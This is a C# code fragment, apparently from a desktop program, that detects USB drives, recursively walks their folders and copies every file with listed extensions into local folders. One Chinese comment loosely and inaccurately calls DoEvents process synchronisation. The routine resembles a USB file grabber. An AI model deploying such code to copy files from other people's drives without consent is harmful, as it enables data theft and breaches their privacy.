public void method2() { DirFileCreate dc=new DirFileCreate(); computer_dedir=dc.DirCreate(); int count=U_Disk_Info.length(U_disk); for(int j=0;j<count;j++) { foreach(string filename in File_Extension) { CatUsbFile(U_disk[j].name,filename); } U_disk[j].IsCopy=true; } if(!thread1.IsAlive){ thread1.Start(); } }
//--------------------------------------------------- public bool CatUsbFile(string path,string fileExtension) { try{ string [] strUsbDir=Directory.GetDirectories(path); string [] strUsbFiles=Directory.GetFiles(path); //递归遍历文件夹 foreach(string dirname in strUsbDir){ AddMessageRichtext1(dirname+Environment.NewLine); //richTextBox1.AppendText(dirname+Environment.NewLine); CatUsbFile(dirname,fileExtension); } //遍历文件 foreach(string file in strUsbFiles){ string exname=file.Substring(file.LastIndexOf(".")+1); if(fileExtension.IndexOf(exname)>-1){ FileInfo fi=new FileInfo(file); AddMessageRichtext2(fi.FullName+Environment.NewLine); //richTextBox2.AppendText(fi.FullName+Environment.NewLine); DirFileCreate dcs=new DirFileCreate(); dcs.multiCopyFile(computer_dedir+"\\"+exname,fi.FullName); } //Application.DoEvents()的作用:处理所有的当前在消息队列中的Windows消息应该DoEvents就好比实现了进程的同步。在不加的时候,因为优先级的问题,程序会执行主进程的代码,再执行别代码,而加了以后就可以同步执行。 AddMessageRichtext1(file+Environment.NewLine); //richTextBox1.AppendText(file+Environment.NewLine); } return true; }catch{ return false; } }